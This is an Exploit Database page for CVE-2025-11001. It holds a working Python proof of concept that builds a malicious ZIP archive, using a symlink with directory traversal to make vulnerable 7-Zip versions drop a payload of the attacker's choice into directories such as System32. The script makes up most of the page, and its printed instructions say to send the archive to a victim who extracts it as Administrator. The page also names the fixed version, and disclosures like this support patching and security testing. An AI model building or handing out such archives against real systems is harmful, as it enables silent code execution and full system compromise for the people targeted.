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Show details Allow all cookies Use necessary cookies only EXPLOIT DATABASE EXPLOITS GHDB PAPERS SHELLCODES SEARCH EDB SEARCHSPLOIT MANUAL SUBMISSIONS ONLINE TRAINING 7-Zip 24.00 - Directory Traversal EDB-ID: 52501 CVE: 2025-11001 EDB Verified: Author: MOHAMMED IDREES BANYAMER Type: LOCAL Exploit: / Platform: MULTIPLE Date: 2026-04-08 Vulnerable App: # Exploit Title: 7-Zip < 25.00 - Directory Traversal to RCE via Malicious ZIP # Date: 2025-11-22 # Author: Mohammed Idrees Banyamer # Author Country: Jordan # Instagram: @banyamer_security # GitHub: https://github.com/mbanyamer # Vendor Homepage: https://www.7-zip.org # Software Link: https://www.7-zip.org/download.html # Version: 7-Zip < 25.00 # Tested on: Windows 10 / Windows 11 (7-Zip 24.xx) # CVE: CVE-2025-11001 # CVSS: 8.8 (High) - draft estimation # Category: Local Privilege Escalation / Remote Code Execution # Platform: Windows # CRITICAL: Yes - Public exploit available, active exploitation reported # Including: Directory Traversal via crafted symlink entry in ZIP archive # Impact: Full system compromise when extracting malicious archive with 7-Zip as Administrator # Fix: Upgrade to 7-Zip 25.00 or later # Advisory: https://www.7-zip.org/history.txt # Patch: https://github.com/ip7z/7zip/releases/tag/25.00 # Target: Windows systems running vulnerable 7-Zip versions import struct import os import argparse import sys def build_zip(target_path, payload_file, output_zip): if not os.path.isfile(payload_file): print(f"[-] Payload file not found: {payload_file}") sys.exit(1) payload_name = os.path.basename(payload_file) payload_data = open(payload_file, "rb").read() target = target_path.replace("\\", "/").strip("/") + "/" traversal = "../../../../" + target with open(output_zip, "wb") as f: offset = 0 symlink_name = "evil.lnk" symlink_target = traversal.encode() + b"\x00" symlink_extra = struct.pack("<HH", 0x756e, len(symlink_target)) + symlink_target symlink_header = struct.pack("<IHHHHHHIIIHH", 0x04034b50, 20, 0x800, 0x800, 0, 0, 0, 0, 0, 0, len(symlink_name), len(symlink_extra)) f.write(symlink_header) f.write(symlink_name.encode()) f.write(symlink_extra) f.write(b"") symlink_central_offset = offset offset += len(symlink_header) + len(symlink_name) + len(symlink_extra) payload_header = struct.pack("<IHHHHHHIIIHH", 0x04034b50, 20, 0x800, 0, 0, 0, 0, len(payload_data), len(payload_data), len(payload_name), 0) f.write(payload_header) f.write(payload_name.encode()) f.write(payload_data) payload_central_offset = offset offset += len(payload_header) + len(payload_name) + len(payload_data) cd_offset = offset f.write(struct.pack("<IHHHHHHIIIHHHHHII", 0x02014b50, 0x0317, 20, 0x800, 0, 0, 0, 0, 0, 0, len(symlink_name), len(symlink_extra), 0, 0, 0, 0o777 << 16 | 0xA1ED, symlink_central_offset)) f.write(symlink_name.encode()) f.write(symlink_extra) f.write(struct.pack("<IHHHHHHIIIHHHHHII", 0x02014b50, 0x0317, 20, 0x800, 0, 0, 0, 0, len(payload_data), len(payload_data), len(payload_name), 0, 0, 0, 0, 0o777 << 16, payload_central_offset)) f.write(payload_name.encode()) f.write(struct.pack("<IHHHHIIH", 0x06054b50, 0, 0, 2, 2, offset, cd_offset, 0)) print(f"[+] Malicious archive created: {output_zip}") print(f"[+] Target path : {target_path}") print(f"[+] Payload file : {payload_name} ({len(payload_data)} bytes)") print(f"[+] Final write location : {target_path}\\{payload_name}") print("\n[*] Usage:") print(" 1. Send the ZIP file to the victim") print(" 2. Victim must run 7-Zip < 25.00 as Administrator") print(" 3. Victim opens and extracts the ZIP → payload dropped silently") print(" 4. Achievement unlocked") if __name__ == "__main__": banner = """ CVE-2025-11001 - 7-Zip Directory Traversal PoC Author: Mohammed Idrees Banyamer (@banyamer_security) """ print(banner) parser = argparse.ArgumentParser(description="CVE-2025-11001 Exploit - 7-Zip < 25.00") parser.add_argument("-t", "--target", required=True, help="Target directory (e.g. C:\\Windows\\System32)") parser.add_argument("-p", "--payload", required=True, help="Payload file to drop (e.g. C:\\Windows\\System32\\calc.exe)") parser.add_argument("-o", "--output", default="CVE-2025-11001-exploit.zip", help="Output ZIP filename (default: CVE-2025-11001-exploit.zip)") args = parser.parse_args() build_zip(args.target, args.payload, args.output) Copy Tags: Advisory/Source: Link Databases Links Sites Solutions Exploits Search Exploit-DB OffSec Courses and Certifications Google Hacking Submit Entry Kali Linux Learn Subscriptions Papers SearchSploit Manual VulnHub OffSec Cyber Range Shellcodes Exploit Statistics Proving Grounds Penetration Testing Services EXPLOIT DATABASE BY OFFSEC TERMS PRIVACY ABOUT US FAQ COOKIES © OffSec Services Limited 2026. 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